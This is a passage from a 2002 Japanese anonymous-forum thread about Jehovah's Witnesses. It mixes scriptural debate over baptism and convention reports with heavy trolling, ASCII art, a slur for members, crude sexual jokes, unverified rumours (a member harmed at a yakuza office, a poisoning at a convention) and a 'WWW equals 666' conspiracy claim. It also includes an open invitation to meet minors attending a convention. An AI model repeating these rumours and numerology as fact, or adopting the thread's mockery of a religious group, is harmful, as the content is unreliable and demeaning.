あの緑色のでかいやつですか?2つあったような 私は中一で集会へ行くことをやめたので 浅はかな知識しかありません2chにもエホバの証人がいるんですね・・ バプテスマは受けましたか?
780 :
ユダ・イスカリオテの子孫 :02/07/30 14:44
あいままでの書きこを見ているととてもエホバの証人とは思えない発言ですね 宗教に詳しい人かなにかかな? エホバの証人はやはりこんなとこ来ないよね
781 :
名無しさん@1周年 :02/07/30 14:49
sage
まず、766さんへ、仕事行く前にササッと打ったレスなので表現がきつかったらごめんね。 で、ユダ・イスカリオテの子孫さん、<−このハンドルちょっと抵抗あるね(^^; エホバの証人2世の部屋の856こと当スレの767です。 あなたの誠実な質問は読ませていただきました、どれも気になる事ですよね、いい質問だと思います。 私も、研究生の頃多くの疑問をもったものです。 それだけの質問が出せると言う事は、あなたが感情ではなく理性的に物事を考えることの出来る 誠実な態度を持った方だということかもしれませんね、 あなたが、もし私と同じ会衆の方の息子さんであれば、そういう疑問の答えを聖書から得られるよう お手伝いを出来るかと思いますが、なにぶんここは、不特定多数の人が集まる掲示板です。 私もあなたも互いがどんな人物かを知らせたり確認するのは困難であり危険であるでしょう。 でも、その質問の答えを聖書から理解してほしいと切に願います。 箴言 2:1-5、9 引用 1我が子よ,あなたがわたしのことばを受け入れ,わたしのおきてを自分に蓄え, 2 そして,耳を向けて知恵に注意を払い,心を識別力に傾けるなら, 3 さらに,理解を求めて呼ばわり,識別力を求めて声を上げるなら, 4 銀を求めるようにそれを求めつづけ,隠された宝を求めるようにそれを尋ね求めつづけるなら, 5 そのとき,あなたはエホバへの恐れを理解し,まさに神についての知識をも見いだすことであろう。 9 そのとき,あなたは義と裁きと廉直さと,良いことに関する行路全体を理解するであろう。 ここでは「隠された宝を求めるように」「それ」つまり聖書についての正確な知識を尋ね求め続けるなら、 神についての知識をも理解する、又、その航路全体を理解するであろうとあります。
神が聖書を賜ったのは、人間が神についての知識を見いだす為であり、私たちとしては上記の聖句にあるような 努力は必要かもしれません、でもその結果はあなたが知りたいと思っている質問の答えと言えます。 エホバの証人は他の人がそうした理解に達するのを助けたいと思っています。 ですから、どうぞ親御さんの会衆の資格ある方に今一度聖書研究を司会してもらうのはいかがですか? あなたの質問は、ひとえに「聖書が約束している事は本当に信じるに値する根拠があるのですか?」 と言う事かと思います。 それぞれの質問は、大きな木の枝や葉の部分に当たるものです。 その大きな木をあなたの中に作るにはまず根や幹となる部分から育てていく事が近道でしょう。 ですからどうぞご自宅に聖書があるでしょうから使途8:27-31をご覧になってください、 そしてエチオピア人の宦官が31節で言った言葉に注目してください。 家庭聖書研究によって援助されるべき聖書的な根拠のひとつを理解する事でしょう。 あなたに話したいことは山ほどありますが、ふさわしい手段で答えを得るようになさってください また、今なら地域大会に行かれても話される言葉をもう少し良く理解できるかもしれませんよ。 頑張ってくださいね。私は今週大会です。 それと、最後にひとつ気になったのは別スレッドであなたが私に対するレスで >856の質問を母親にしたら人間にはわからない神のご意思です >信じなければ道は開かれないですよといわれました と書いた所です。 お母さんにどんな質問をなさったの?
784 :
名無しさん@1周年 :02/07/30 17:51
パンツを下ろされて縄跳びの鞭で尻を叩かれるのです (^Д^)ゲラゲラ パンツを下ろされて縄跳びの鞭で尻を叩かれるのです (^Д^)ゲラゲラ パンツを下ろされて縄跳びの鞭で尻を叩かれるのです (^Д^)ゲラゲラ ・・・・(´-ω-`)ワラテゴメン
785 :
ユダ・イスカリオテの子孫 :02/07/30 17:58
783さん親切にありがとう
786 :
名無しさん@1周年 :02/07/30 21:30
>>764 昔、やくざの事務所に証言いってヤられちゃった人がいるって聞いたことがある。。
787 :
名無しさん@1周年 :02/07/30 21:33
未確認情報、なぜか現役よりもやめちゃった人のほうが良く知ってる。 (w
788 :
名無しさん@1周年 :02/07/30 21:45
>787 ????
789 :
名無しさん@1周年 :02/07/30 22:09
バプテスマに何の意味があるというのか。 身内の間だけで宣言したからと言ってそれがどうして公に宣言したことになるのかな? イエスは言ったではないか。 父の御心を行なうものは皆私の兄弟、姉妹、また母なのである。 儀礼的に生まれるのではなく、霊によって生まれなさい。 誰でも私の言葉に聞き従うならば、その者は天から来たのである。 どうしてあなたがたは自分で正しいことを判断しないのか? 神はそうすることを求めておられるのだよ。
790 :
名無しさん@1周年 :02/07/30 23:00
>789さん 確かにそう言っているかもしれません でも、マタイ28:19で、復活したイエスは11人の弟子たちに近づいてこう言われました。 「父と子と聖霊との名において彼らにバプテスマを施し」なさい。と、 (ただこれは強制的、また無差別にと言う意味ではありません) これは18節から20節の中で鍵カッコで囲われている部分からの引用ですが この言葉はいわば、人間の遺言のような重みのある言葉です。 それはイエスの弟子たちに語られたのです。 そしてマタイによる書の最後の節となっています。 そしてマタイ3:13節でイエスがガリラヤからバプテストのヨハネのいるヨルダンにいかれたのは 「彼らからバプテスマを受るため」とかいてありますね。 15節でこうもおっしゃいました。 「この度はそうさせてもらいたい。このようにしてわたしたちが義にかなったことをすべて果たすのは ふさわしいことなのです」。そこで[ヨハネ]はとどめるのをやめた。 このことから人がキリストの弟子となるつまり神に献身したものである事を公に示す機会となるのであり 義にかなったふさわしい事と判断できます。
791 :
名無しさん@1周年 :02/07/30 23:18
バプテスマとは公に宣言することではなく、神に正しい良心を願いもとめることに意義があるのだよ。神に対する献身なのだ。 私がさっき述べたのはイスカリオテの子孫さんがしるしを求めたからだ。 公に宣言することはどこでもできるのだよ。
>791さん 789でおっしゃったことから、バプテスマを受ける事に疑問を感じていると勝手に受け取ったからで 誰かに対するレストは思わなかったんですね。(^^; で、私はバプテスマの定義ではなく、受けるべき聖書的な根拠と例を挙げたに過ぎません。 あと、非クリスチャンの方でもわかりやすいように、的を絞って書いたつもりでしたが 説明がすこし足りなかったかもしれませんね では
793 :
名無しさん@1周年 :02/07/31 10:16
エホバの証人はエホバによって滅ぼされるであろう
794 :
名無しさん@1周年 :02/07/31 10:32
なにがエホバだ宗教だ!宗教をネタにされて実際戦争が起きてるじゃないか! カミを信じるものは救われないんだよ!結局自分を信じるしかないんだ。 それを教えてくれたのは、お前らエホバの証人だ!
795 :
名無しさん@1周年 :02/07/31 20:04
>>786 その話詳しく聞きたい。
有名な話なの?いつ頃の話なのかな〜
796 :
とっくに不活発 :02/08/01 00:34
>795 過去スレのどこかに書いてあったぞ
すいません、排斥された支部委員の兄弟の話をどなたかご存知ではないですか?
798 :
名無しさん@1周年 :02/08/01 04:19
まーなんにせよエホ証と2ちゃんねらー、どっこいどっこいってこったな(w なんにせよ、世の中の粕なのは変わりない。俺も、お前タチみんなもな。
799 :
名無しさん@1周年 :02/08/01 04:43
ま、創造り手の腕が悪いからな
暑い中,エホバカ証さんが開拓にたずねてきました。 夏はやすみなさい
801 :
名無しさん@1周年 :02/08/01 11:46
夏こそ頑張る!!
802 :
開拓者じゃないけど :02/08/01 11:52
>>800 >夏はやすみなさい
「普段あえない学生の方に聖書のお話しを伝えたくて訪問しました」
まあ、相手の都合に会わせているつもりのわけで。
>>802 世間知らずというかカルトに免疫のない学生ならだましやすい、
今こそ夏商戦ということれすか。
>>756 神は人を神と似た様に造った、とあるが、神は自分と似た物として
み使いやキリスト又、人を創造し、存在するということを喜びとするよう
に創造した、と自分は解釈している。
人間の持つ性質(人格)の核は、神の特質を受け継いだ性質である。
また、神は人間と会話したり、サタンと対決している事から、
神はエネルギーにおいては永久不滅だが、自分の創造した披造物に対し、
全く下等な生物という扱いはしていない、もちろん全披造物は神には劣るが。
人間やみ使い等は、動物等と違い、完全に1人1人が独立しており、
何にも依存する事のない思考力と、霊を持つ物であるということだ。
神は自分と同じく、全くの自由な霊を持つものとしてみ使いおよび
人間を創造したと言う事だ、だから、神は1人1人を各々裁き、報いる。
そして、神にとって千年は1日でもあるか
のような時間の見方により、神にとって創造をはじめてから、現在に至まで
はほんの瞬間ほどにしかすぎないので、神と人間の感覚は全く異なっているのだ
人間は何十年間生きるだけの、病気になったりと惨めな生き物だが、
キリストが購うことによってつぐなったというのが聖書の教えだ、
だれもよんでない
806 :
名無しさん@1周年 :02/08/03 22:27
i ~ 目標
>>805 ○ ~ ~
~~ =Å= ~ ~~
#[ ]#____ ~~ ~
~ ∈○○∋\\\_~
~ ∩| ф |д \⊂≡⊃\ ~~
~ ~~ || ̄」」 ̄| \⊂≡⊃\ ~
|└―┌――┐ \\\___\ ~
|\ ΘΘ┌|┐ΘΘ /|」 ̄ ̄〜
〜 | \ΘΘдΘΘ/ | 〜~ ~~
~ | \____/ | 〜~ ~
〜 \ ж / 〜~ ~
〜~ ~ ~\ /~ 〜~ ~
~ ~~〜 ~\../~ 〜~ ~~
~ ~ ~~〜~〜~~〜~〜~ ~ ~
807 :
名無しさん@1周年 :02/08/03 23:01
/::::::::::::::::::::::::^::::::::::::\ /::::::::::::::::::::::::::::::::::::::::::::::::::\ /::::::::::/|::::::::/ノ::::::::/ヽ:人::::::::::ヽ /::::::::::/ |::://∧::::ノ ソ ヾ::::::::::::丶 |:::::::::::/ |/ |ノ |/ ノ |:::/ヾ::::::::| |::::::::::/ ::::::::::::: ::::::::::V::|:::::::| |:::::::/ ̄ ̄ ̄ ̄ヽ===/ ̄ ̄ ̄ ̄ヽ |::::| | =ロ -=・=- |, | -=・=- ロ= | |:/丶 /ノ ヽ / ヽ|ヽ /|/ `─── / ` ─── | | (|| (●_●) |ノ ボクんちに来て | l l | | __-- ̄`´ ̄--__ | | -二二二二- | \ / /| \_______/ | ̄\
808 :
名無しさん@1周年 :02/08/04 11:29
∧∧ ぃょぅ (=゚ω゚)ノ 〜( x) U U
809 :
名無しさん@1周年 :02/08/04 14:43
>>796 過去スレ検索してみたけど、やくざ事務所でやられちゃった話みつからないです。
なくなっちゃったのかな。。
どんな話だったんだろ。。
上智大教授、はねられ死亡。ドイツ国籍のL・ボーステンさん66歳。 埼玉県岩槻市で自転車で 布教活動中に乗用車に。
811 :
名無しさん@1周年 :02/08/05 15:11
812 :
神がいるなら :02/08/05 15:36
なんか機械音痴の母がデジカメを買った。 どうやら嬉しいらしく、はしゃぎながらいろいろと写してた。 何日かしてメモリがいっぱいで写せないらしく 「どうすればいいの?」って聞いてきたが 「忙しいから説明書読め!」とつい怒鳴ってしまった。 さらに「つまらないものばかり写してるからだろ!」とも言ってしまった。 そしたら「・・・ごめんね」と一言。 そんな母が先日亡くなった。 遺品整理してたらデジカメが出てきて、何撮ってたのかなあと中身を見たら 俺の寝顔が写ってた・・・涙が止まらなかった。
814 :
15歳@受験生(現役) :02/08/05 23:29
実際楽園ができたとしても生き残ってる人なんてほんの一握りしかいないだろうね。 本当にばかばかしい宗教だ。 はぁ辞めたいな。
815 :
名無しさん@1周年 :02/08/05 23:50
楽園なんて来るのは何千年も先だよ。 みんなが滅びを待ち望んでるからまず全人類が絶滅するだろうね。何故なら神は信じて求めるものには何でも与えられるから。 復活もなければ生き残るものもいないだろう。誰も神の御心に適うものなどいないから。 自称油注がれたクリスチャンでさえ。 ただし、そうならなければ別だが。 みんなが滅びを待ち望んでいる限りは免れないだろうな。 愚かな・・・。 わたしの名を妄りに唱えるなと言ったのはエホバではなかったかね?
816 :
名無しさん@1周年 :02/08/06 06:18
自分が油注がれたものだというバカ!! エゴイズムもいいところだ!!
817 :
名無しさん@1周年 :02/08/06 06:21
818 :
名無しさん@1周年 :02/08/06 14:03
滅ぶのはエホバの証人だけですが、なにか?
>818 生き残るのはエホバの証人だけですが、なにか?
820 :
名無しさん@1周年 :02/08/06 14:21
なんでもない、ただ、言ってみたかっただけ。
821 :
名無しさん@1周年 :02/08/06 14:38
>>782-783 結局答えてね−。しかも最後は得意の質問返し。
これがエホバの姿勢なんだよね〜。変わってないな。
822 :
名無しさん@1周年 :02/08/06 14:55
>>821 人頭税を払うべきか否かについて問われた時、イエスはなんと答えましたか?
824 :
福音派クリスチャン :02/08/06 15:14
エホバの証人の問題点は信仰よりも組織の服従が重要であること、間違った聖 書の解釈(自己都合による解釈)、教育の制限(洗脳)にあります。 現役、元エホ信者の皆様、福音派教会へ行ってください。真の神、聖書の教え は何か?わかります。
825 :
名無しさん@1周年 :02/08/06 15:15
826 :
名無しさん@現役 :02/08/06 19:18
>>814 前半に同意
「こいつよりは世の人のほうが楽園入りの資格に適っているぜ」と思える奴よくいる。
特に人格が幼稚なくせに長老しもべ開拓者になっちゃったような奴らの中に。
827 :
名無しさん@1周年 :02/08/06 20:05
>>824 あなたは福音派が合ってるみたいだけれど みんながみんな真の神を求めてる訳じゃないyo
828 :
名無しさん@1周年 :02/08/06 22:00
誰か旧約聖書に出てくる、蛇の事教えて下さいな。 イブにリンゴを食べさせて、それが元で、神に以後地を這うようにされたと 記述されてますが、それ以前は蛇は立って歩いてたのですか。 どんな歩き方してたんですか。 それとも、その昔蛇は空飛んでたんですか。 誰か教えて下さいな。
829 :
名無しさん@1周年 :02/08/07 04:54
ここにきているエホ証のみなさん。 もうすぐですよ。 ほんとうにすぐそこです。 楽しみですね〜。
830 :
名無しさん@1周年 :02/08/07 16:03
いえ、父よ、私達の“楽しみ”ではなくあなたの御旨が優先的に行なわれますように。
831 :
名無しさん@1周年 :02/08/07 18:42
えほ反対
832 :
名無しさん@1周年 :02/08/08 00:42
∧_∧ ( ´−` )聖的に向上せよ━━━!!!!!! ______/| ヽ l ヽ______ (∋ / v \| ヽ ∈)  ̄ ̄ ̄ ̄| / 。 l 。 人 | ̄ ̄ ̄ / / ヽ ー - / \\ / / | | | \ヽ / / ヽ | \ // / | \ / | __( "''''''::::.(^^) / / /--;;;; ______,,,,,,---'''''''"""" ヽ ゛゛:ヽ. ../ / / ::::::::"""" ・ . \::. 丿 / / / ::::::: ..........::::::::::::彡''ヘ::::....ノ | ( く ::::::::::;;;;;,,---""" ̄ ^`` | \ \ /...  ̄ ̄ | / | \ /:::::::: : ヽ | / | _――-\|::::: :: ヘ | / |/ ⊂⌒ ヽ:::::: :::.. ノ |/ \::::::: /\:::;;;;;;__ ノ
833 :
名無しさん@1周年 :02/08/08 06:14
834 :
名無しさん@1周年 :02/08/08 06:20
835 :
名無しさん@1周年 :02/08/08 17:39
明日から横浜アリーナに行く十八歳以下方会いませんか? 現役、不活発、敗狂問いません。 そのままメール下さい。
837 :
名無しさん@1周年 :02/08/08 20:26
>>836 さすがに現役と敗狂をまぜこぜに会わせるオフ会は提案しちゃ不味いだろう。
このスレは海老名も注目しているし、会場は長老がうじゃうじゃいるし。
838 :
名無しさん@1周年 :02/08/09 04:21
>>836 敗狂者は確実にマークされてるぞ
幕張メッセのおにぎりに敗狂者が毒を盛ったって話どうなったのか?
じゃあ敗狂者はなしで。 でも誰からもメール来ませんでした。。。 そんで今からアリーナに逝ってまいります。
841 :
名無しさん@1周年 :02/08/09 20:43
お盆にはお墓参りしましょう。
842 :
名無しさん@1周年 :02/08/09 21:16
>>840 早速きょうのプログラムの感想かいてもらおうかの
843 :
名無しさん@1周年 :02/08/09 22:13
844 :
名無しさん@1周年 :02/08/09 23:32
______ / ))) / /// /―――-ミ / 彡彡 // / ヽ)) / 彡彡 iiiiiiiiiiiiiii iiiiiiiiii| / 彡彡 < ・ > 、<・ >l / | ヽ 〉 / ( | | __) | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / | ≡ /, ――― |ゝ <>>ウウウウ / | | L ___」 l ヾ \_________ ミ l ______ノ ゞ /:::: /:::::::::::: |::::| (:::::::: (ξ:: ・ ノ::・/:::| \::::: \::::::: (::: | /:::\::::: \::: ヽ| /:::: \::::: \::: ヽ ) |::: \::  ̄ ̄⊇)__ 〜 |::::::: \;;;;;;;;;;;(__(;;;・) 〜 モワー \:::::::::: ξ(;;; );; ) 〜 \:::::::::::: ) ) )::::: // /::::::::: // /::::: (_(_ (;;;;;;;;;;;__っ)))つ))
845 :
名無しさん@1周年 :02/08/10 04:01
うんこ出ないけど もう寝ます
846 :
名無しさん@1周年 :02/08/10 04:43
847 :
名無しさん@1周年 :02/08/10 05:09
>>836 きょうも出席するのかい? よかったら服装の特徴でも教えてくれ。
848 :
名無しさん@1周年 :02/08/10 07:46
免疫ができたようだ。良いことだ。
__,,,,_ /´  ̄`ヽ, / 〃 _,ァ---‐一ヘヽ i /´ リ} | 〉. -‐ '''ー {! ぬぅーすんだバァーイクで走り出すー | | ‐ー くー | ヤヽリ ´゚ ,r "_,,>、 ゚'} どけ どけ どけ ゴルァ!!! ヽ_」 ト‐=‐ァ' ! ゝ i、 ` `二´' 丿 r|、` '' ー--‐f´ lニニニニニl=====⊂/\__〕 ノ /丶2 |m; ブゥーン / //7ゝ〇 ノ\ ブゥーン / (_///⌒γノ/___) / /// ///ノ// / // |/ ///◎) パラリラ / / / // パラリラ // V ノ \ かの折原誠様は盗んだバイクで走りだしました。
850 :
名無しさん@1周年 :02/08/10 18:52
| >>王国会館の証人を回収に来ました。
|__ ________
,_∨_______ γ===============┐..
. γ;二二二, ll .__/ ̄ ̄ ̄ ̄ ̄ ̄ ̄// \______/ )\ゥアア・・
. _ // ∧_∧ |.|| | .| 港区 .l l,,,,,,,,,,,,,,,,,,\____/ /__\
[_].//( ´∀`).| || | .| ヽヽ丶 |8|| ̄ / / ̄ヽ ||
.└/l__/__ ).| || .|__| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ヽヽ ヾ-ー「:l|_/ /__∧ ヽ ||
| (_/ [||| --|_________ヽヽ ゞ |.:ll ./ /;´Д`) ミ. ∧_∧ ポイッ
lフ ,------|.l_|二二l_l/ ̄ ̄/l /γ二二..ヽヽ __ヾ |.:|/.
>>2 \ヽ⊂(∀` )ミ
[ll三// ̄ヽ\|.\===l二二l__l /// ̄ヽ\~ヽヽ_匚|]二||二二二||_.(⊂ )
└--l .※ ..l ..凵======-l/.l .※ ..l |_l~(\__/~'==l=======l==/y 人
丶 ./_/ 丶_/_/ .丶 ./_/_/ ̄~~丶_/_/_/ ̄ ̄ ̄ (___)__)
何か?
852 :
840じゃないけど :02/08/11 19:39
アリーナB大会逝ってきました 20代の兄弟たちの中にヘアスタイルが「ベッカムヘア」なヤシを3〜4名ハケーン いい時代になったみたいだね。
853 :
名無しさん@1周年 :02/08/11 20:07
B大会わたしもいきました。 2Fでうろうろ自発奉仕してたナンチャッテベッカム、ださださでしたネー
ふぅ〜。終わった。
>>852 は三階の東にいたでしょ?ずっと監視してた。
いきなりノーパソだして2chを見始めたかと思ったらブラクラ踏んで
フリーズしてたよな?w
感想:
さまざまな有益なプログラムを通して滋養に富んだ霊的食物を(以下略
855 :
名無しさん@1周年 :02/08/11 22:50
__,,,,_ /´  ̄`ヽ, / 〃 _,ァ---‐一ヘヽ i /´ リ} | 〉. -‐ '''ー {! ぬぅーすんだバァーイクで走り出すー | | ‐ー くー | ヤヽリ ´゚ ,r "_,,>、 ゚'} どけ どけ どけ ゴルァ!!! ヽ_」 ト‐=‐ァ' ! ゝ i、 ` `二´' 丿 r|、` '' ー--‐f´ lニニニニニl=====⊂/\__〕 ノ /丶2 |m; ブゥーン / //7ゝ〇 ノ\ ブゥーン / (_///⌒γノ/___) / /// ///ノ// / // |/ ///◎) パラリラ / / / // パラリラ // V ノ \ 「これでも、俺は現役エホ証だ! 文句あっか? ゴルァ」 かの折原誠様は盗んだバイクで走りだしました。
今、世界で普及しているインターネットのWWWサービス。これは、 World Wide Web(ワールド・ワイド・ウェブ)の略であることは ご存じのとおり。しかし、このWWWにもまた、666の陰謀が隠されています。 ユダヤ教の密教、カバラーの秘儀「数秘術」によると、ヘブライ語アルファベット にはそれぞれの数字が当てはめられています。その最初の部分を示すと、次の ようになります。上からアルフ=a、ベート=b(v)、ギメル=g、ダレット=d、 ヘー=h、ヴァウ=w(v)、ザイン=z・・・・と呼ばれる文字です。ちなみに、 最初の二文字を続けると「アルフ・ベート」、つまり「アルファベット」の語源と なります(ギリシャ語ならアルファ・ベータ)。 ヘブライ語で a と書いてあると 1 をも意味するということになります。さて、 ここで 6 に該当するのは「ヴァウ」、つまりVやWを表す文字。 このヴァウを単純に3つ並べてみると、当然ながら666が出現するわけですね。 ということは、私たちがネットサーフィンするときにほとんど入力する「WWW」は、 つまり、「666」と入力しているのと同じことになるのです。 インターネットは酷い悪魔ですね
858 :
名無しさん@1周年 :02/08/12 10:06
/~~⌒~⌒~⌒~ヾ / ) ( /~⌒⌒⌒ヽ ) ( ξ 、 , |ノ (6ξ--―●-●| > 、 ) ‥ ) \ヽ_ _ ー=_ノ わたしの国に来なさい。サタンはいません。 楽園ですよ
859 :
名無しさん@1周年 :02/08/12 10:58
861 :
名無しさん@1周年 :02/08/12 20:54
ふーん・・・ アリーナB大会実況放送・・・ ベッカムが3人も・・・ ∫ _____ ∧_∧ riii= |┌──┐| ̄|-、 ( ´_ゝ 「 ノ ||8/11|| | ] / ⌒\/ /───┐ |└──┘| 」 / / ∧ \ / ̄ ̄ ̄ ̄`・、[ ̄ ̄ ̄ ̄] ̄ ̄| ( 二\ `'| X| | OO 〜〜ー⌒ ̄~〜〜--〜〜-〜"~~ ̄ ̄ ̄  ̄ ̄
862 :
名無しさん@1周年 :02/08/12 21:01
____________/ _____ | | || / | oノハo ||研究性さーん! (´D` ) ピンポーン♪ 洗脳に... UU | || \まいりました〜 UU O || ) ( | || _ ( ) | || |. || ̄ ̄ ̄ ̄.|| || |. || ´ ̄ ̄ `| || ||_|. || |。 | ||  ̄ ̄ ̄ ̄ ̄ \|| | | || ∋oノハヽo∈ ̄\ (D` )<あーい!  ̄ ̄ ̄ ̄ ̄ ̄⊂( ⊃ ̄ ̄ ̄ ̄ ̄\ (__/(__) \
863 :
名無しさん@1周年 :02/08/12 23:01
865 :
名無しさん@1周年 :02/08/13 22:30
///////____________ ///////  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| ̄ ̄ /////// (~) チリンチリン /////// ノ,, /////// ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ /////// ( ´∀`)( 厨 ) )) <春曲丼ま−−だ。チョト早くしてよ /////// (つ へへ つ \______ /////// //△ ヽλ ) ) 旦 ////// l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l /////  ̄| .| ̄ ̄ ̄ ̄ ̄ ̄ ̄| .| ̄
866 :
名無しさん@1周年 :02/08/13 23:03
横浜のC大会は誰か行きますか??
868 :
名無しさん@1周年 :02/08/14 09:35
>>854 > いきなりノーパソだして2chを見始めたかと思ったら
ん、ん ?、?、ああノートパソコンか(w
聴衆席の誰かがいきなり2chの ノーパン 画像でも見始めたのかと思った。
869 :
名無しさん@1周年 :02/08/14 10:46
某大会会場の地下駐車場でフェラさせますた。
870 :
名無しさん@1周年 :02/08/14 14:28
/ ⌒ー∧_∧ヽ クンクン… / ノ ( ´・・`)ノ ←エホ証 / ノゝ/ ̄`* ̄\ ( ヽ/ \ /ヽ/ / ,ヽ ヽ _/ / |目 目\ \ / __/ / ヽ \ ヽ〜───⌒\_ ⊂二二二二/ ノ_( ∧ ∧)二\________つ / ̄ ) /  ̄ ̄ ̄ / / // | ∧ |' ( ' | Uし(__) 地下駐車場体位
872 :
名無しさん@1周年 :02/08/15 00:46
去年の乱交オフは凄かった
874 :
名無しさん@1周年 :02/08/16 08:55
>>865 わ
す
れ
た
頃
に
や
っ
て
来
る
!
875 :
名無しさん@1周年 :02/08/16 10:17
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | さてと、開拓に逝きますか。 ∧ ∧ < このスレを解析すると 、「忘れた頃」は来年じゃ。 ( ゚Д゚) \_____________________ (つ_つ__  ̄ ̄ ̄日∇ ̄\| エホ05V |\  ̄ ======= \
876 :
名無しさん@1周年 :02/08/16 10:47
女子供は、すっこんでろ。
877 :
名無しさん@1周年 :02/08/16 10:49
878 :
名無しさん@1周年 :02/08/16 10:55
/ ̄ ̄ ̄ ̄\
/ 丿`''~~ヽ ヽ
| / ,,,, ,,,\ |
|| _ _ | |
/ \ |
| ) |
ヽ (。 。) 丿 |
ノノ| ノノノ < お待ちしてまーす
>>877 <___> |∩∩
ヽ|_|_|ノ ノ | |.| |
\__/ (つ )
879 :
名無しさん@1周年 :02/08/16 20:32
▼\ /▼ \ \ / / \ ~⌒~⌒⌒ \/ ( /~⌒⌒⌒ヽ) ( /γノノノノ @ヽ |\ | |( | ∩ ∩|)| / ̄ ̄ ̄ ̄ ̄ \ \ |从ゝ_▽_从 < エホバだって。ぷぷっ 、乱交すきなくせに / / / \ ー=_ノ \_____ \ \ / | \ \| _) ●●/ \_) / ●| / \ ⊃⊃ ―⊃⊃⌒
880 :
名無しさん@1周年 :02/08/17 09:05
C大会
レポートキボウ
>>879 プラトニック乱交?
881 :
名無しさん@1周年 :02/08/17 15:22
_,-─‐-、 ___
>>877 結婚しましょう!
,,r''~.:.:.:.:.:.:.:.,,r‐'''~´.:.:.:.:.:.:.:.:.:~゙''‐-、,_
,/.:.:/).:.:.,-'~/.:.:.:.、::,r.:.:.:,,ャ''.:.,,,ィ.:.:.:.:.゙ヽ、 /)
/.:.:.//.:.:.:.:./ィ::,,ィ,//X'~/‐''/|.:.:.:.:.:.:.:.ヽ ,//
/.:.:/` ‐┬ァ.:.:.:./// /==ヾ、 '´ | ハ.:.:.i.:.:.:.:゙、 ,,,ノ'ノ_,イ
/.:.:./ \~゙'i'/.:.:/~/ レ´/ /:::;;;;O ,,,,|/_|.:.:i|.:.:.:.:.:i, / r' ノ冫
/,,r'Y ⊂-'‐ソ.:.:.| / ` i:::;;;::ノ ,r=、i/|~''i.:.:.:.|--、 ,イ K,/ ノ,
r'~〈ヾ ゙、,,,'-ニ´-‐ヽ. / `‐''´ /::;;;;O゙'i.| /.:.:.:.i.:.:.:.゙ヽ ノ7i|~|' ノ ヽ‐'ノ
:::::::i, ヾ, メ_| { {::::;;:::/ /|/.:/, リ.:.:.:.:.:/::::::i ii .{ ,,,,ノ
::::::::゙i, ヽ/ ゙、 ,r-、 `'''''´ ' /i/ノノ.:.::/:::::/"::i, ii ヽ_/ノ
:::::::::::`'''/ \ '、::::::::゙'ヽ ,イ'"'ノ.:./:::::::::,':::::::::ヽ=テ'´
:::::::::::::/ ゙'''─v┬---、,,,,,_\ ゙'''‐-' 厶-‐':/::::::::::::::::::::::::::::::::,ノ
::::::::/:::::::::::::::ハ i! // ヽ 、,,,,,__,,,,,, イ_|,,/:::::::::::::::::::::::::::::::::/
-‐':::::::::::::::::::/:::i ii,_. /,__, ノ└‐‐,ィ''~/~:::::::::::::::::::::::::::::::::/
-、::::::::::::i::::://└=フ /::::::゙'ヽ‐''"´ ,,‐'~:/::::,'::::::::::::::::::::::::::::::::/
゙'''‐-、;;:/:::::::::ヾ、、 /:::,r‐''┌==-''´::::::/::;::':::::::::::::::::::::::::,r''~´
882 :
名無しさん@1周年 :02/08/17 18:35
!!!!!警 告!!!!! 兄弟・姉妹のみなさんへ こんなHP見てるとサタンの影響を受けます! ヒマがあったら奉仕に精をだしましょう。 世の終わりは近づいています!
883 :
名無しさん@1周年 :02/08/17 18:37
884 :
名無しさん@1周年 :02/08/17 18:43
浜アリーナの大会って何時から何時までやってるんでしょうか?
885 :
名無しさん@1周年 :02/08/17 19:22
1日目 am9:30〜pm4:55 2日目 am9:30〜pm4:50 3日目 am9:30〜pm3:55 全国共通だと思うけどどうよ
886 :
名無しさん@1周年 :02/08/18 21:54
,; ⌒ ⌒ ⌒ ヽ ( _____ ) ( / ヽ ( l ⌒ ⌒ヽ ( ヽ , ―― 、 , ―‐‐、 ( 〉=| ( ・ ) |⌒| ( ・ ) | ( | ー―‐' ヽ ―‐' ヾ(6 ヽ ( :::::) 、) l _____) / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ l ( ___ヾ' < ひゃぁ〜〜ここはエホバカが大量ですな〜♪ | ヽ _____ノ .\_________________ __/ヽ\ | l\_  ̄ \ 人ヽ / .|  ̄
霊的背教者諸君に宣告する! サ タ ン よ 退 け !!! おまえたちに、神の王国を受け継ぐ資格などない!
888 :
名無しさん@1周年 :02/08/19 11:00
つーか神の王国なんか最初から受け継ぐ気なんか 全然ないんだけどね、そんなもんに何か価値があるの?
889 :
名無しさん@1周年 :02/08/19 11:55
そのとおり。どんな価値があるの? 楽園なんて愛がなければ何も楽しいことはない。 自己満の世界がそんなに好きか? 他の者を蹴落としてでもその世界を求めるのか? 他の者が行けなかったら仕方がないとでも言うのか? たかだか人間ごときが、自分達の価値基準でひとを裁くのは、神にでもなったつもりか? ここにレスする全ての者に言いたい。
890 :
名無しさん@1周年 :02/08/19 13:20
神になったつもりの檻原ハッケン バカだね
892 :
名無しさん@1周年 :02/08/21 07:55
893 :
名無しさん@1周年 :02/08/21 09:39
夏の大会出た人に質問 エホバの証人は 平 和 主 義 者 ですか 大会ではなんといってた?
895 :
名無しさん@1周年 :02/08/21 10:04
どうやら話された事柄の意味を取り違えているようですね、 創世記3章の中でエバに語りかけた者の様に歪曲した表現にするのはやめてくださいね 戦いはエホバのもので”神の”義の戦いです。 それゆえにエホバの証人は神の義の戦いに於いてエホバの側を支持しますが その”戦いはエホバのもの”と聖書にもあるように、 JW自身は戦争行為やそれを支持することから離れるよう(これも聖書にもありますが)努めております。
896 :
名無しさん@1周年 :02/08/21 12:43
「コンコン」 これはなんでしょう
897 :
名無しさん@1周年 :02/08/21 12:59
きつねですか?
898 :
名無しさん@1周年 :02/08/21 14:58
>896 かなり前に流行ったブラクラ
899 :
名無しさん@1周年 :02/08/21 15:19
900 :
名無しさん@1周年 :02/08/21 15:53
